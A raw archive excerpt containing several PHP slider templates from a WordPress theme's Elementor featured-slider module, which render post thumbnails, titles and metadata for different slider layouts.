					$ftz_class = $countz ++ == 0 ? ' current' : '';
					?>
					<div class="swiper-slide">
						<div class="swiper-slide-inner">
							<a data-index="<?php echo $countz; ?>" href="<?php the_permalink() ?>"
							   class="thumb-container<?php echo $ftz_class; ?>">
							   <?php if ( ! $disable_lazyload ) { ?>
							   	<span class="<?php echo penci_classes_slider_lazy(); ?> penci-image-holder" data-bgset="<?php echo penci_image_srcset( get_the_ID(), 'penci-masonry-thumb' ); ?>"></span>
							   <?php } else { ?>
							   <span class="penci-image-holder" style="background-image: url(<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-masonry-thumb' ); ?>);"></span>
								<?php } ?>
							</a>
						</div>
					</div>
				<?php endwhile; ?>
			</div>
		</div>
	</div>
</div>PK     1w\9ؾ	  	  =  elementor/modules/penci-featured-sliders/widgets/style-29.phpnu [        <?php
/**
 * Template part for Slider Style 29
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
            <a href="<?php the_permalink() ?>" class="featured-slider-overlay"></a>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
                        <div class="penci-featured-slider-button">
                            <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                        </div>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     1w\Dk  k  =  elementor/modules/penci-featured-sliders/widgets/style-45.phpnu [        <?php
/**
 * Template part for Slider Style 45
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile = penci_is_mobile();

$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                               href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php $list_post_ids[] = get_the_ID(); ?>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     1w\
g9{  {  =  elementor/modules/penci-featured-sliders/widgets/style-22.phpnu [        <?php
/**
 * Template part for Slider Style 22
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 7 == 1 || $i % 7 == 2 ): $thumb = $bpost_thumb_size; endif;
				$sizep = 'small';
				if ( $i % 7 == 1 || $i % 7 == 2 ): $sizep = 'normal'; endif;
				if ( $penci_is_mobile ) {
					$thumb = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
				}
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 7 ); ?>  <?php echo( ( $i % 7 == 1 || $i % 7 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb ); ?>"
                           data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 7 == 1 || $i % 7 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 7 == 1 || $i % 7 == 2 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 7 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\dHh  h  =  elementor/modules/penci-featured-sliders/widgets/style-37.phpnu [        <?php
/**
 * Template part for Slider Style 37
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i     = 1;
	$num_posts   = $feat_query->post_count;
	$number_last = $num_posts - 1;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		$thumb = $bpost_thumb_size;
		if ( $i == $number_last || $i == $num_posts ): $thumb = $post_thumb_size; endif;

			$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

		?>
        <div class="item swiper-slide">
            <div class="penci-item-mag penci-item-<?php if ( $i != $number_last && $i != $num_posts ) {
				echo '1';
			} else {
				echo '2';
			} ?>  <?php echo( ( $i == $number_last || $i == $num_posts ) ? 'penci-pitem-small' : 'penci-pitem-big' ) ?>">
	            <?php do_action( 'penci_bookmark_post' ); ?>
				<?php if ( ! $disable_lazyload ) { ?>
                    <a class="penci-image-holder penci-lazy"
                       data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$thumb_mobile ); ?>"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } else { ?>
                    <a class="penci-image-holder"
                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                       href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
				<?php } ?>
                <div class="penci-slide-overlay penci-slider6-overlay penci-slider37-overlay">
                    <a class="overlay-link"
                       aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                       href="<?php the_permalink(); ?>"></a>
					<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                        <a href="<?php the_permalink(); ?>"
                           class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
							<?php if ( has_post_format( 'video' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-play' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'audio' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-music' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'link' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-link' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'quote' ) ) : ?>
								<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
							<?php endif; ?>
							<?php if ( has_post_format( 'gallery' ) ) : ?>
								<?php penci_fawesome_icon( 'far fa-image' ); ?>
							<?php endif; ?>
                        </a>
					<?php endif; ?>
                    <div class="penci-mag-featured-content">
                        <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
							<?php if ( ( $i != $number_last && $i != $num_posts ) || $show_cat ): ?>
								<?php if ( ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
							<?php endif; ?>
                            <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                   href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                            </h3>
							<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php
									if ( $show_viewscount ) {
										echo '<span class="feat-countviews">';
										echo penci_get_post_views( get_the_ID() );
										echo ' ' . penci_get_setting( 'penci_trans_countviews' );
										echo '</span>';
									}
									?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     1w\CB.A  A  =  elementor/modules/penci-featured-sliders/widgets/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$sizep = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$sizep                 = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>

				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php
											if ( $show_viewscount ) {
												echo '<span class="feat-countviews">';
												echo penci_get_post_views( get_the_ID() );
												echo ' ' . penci_get_setting( 'penci_trans_countviews' );
												echo '</span>';
											}
											?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
												'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
												'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
												'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
												'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\mC    <  elementor/modules/penci-featured-sliders/widgets/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$post_thumb_size = $post_thumb_size ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

$post_thumb_size_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_size_mobile ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_mobile : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
							<?php
							if ( $show_viewscount ) {
								echo '<span class="feat-countviews">';
								echo penci_get_post_views( get_the_ID() );
								echo ' ' . penci_get_setting( 'penci_trans_countviews' );
								echo '</span>';
							}
							?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                        'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                        'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                        'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                        'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                        ] ); ?>
							<?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     1w\*      <  elementor/modules/penci-featured-sliders/widgets/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;

					$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb,$thumb_mobile); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
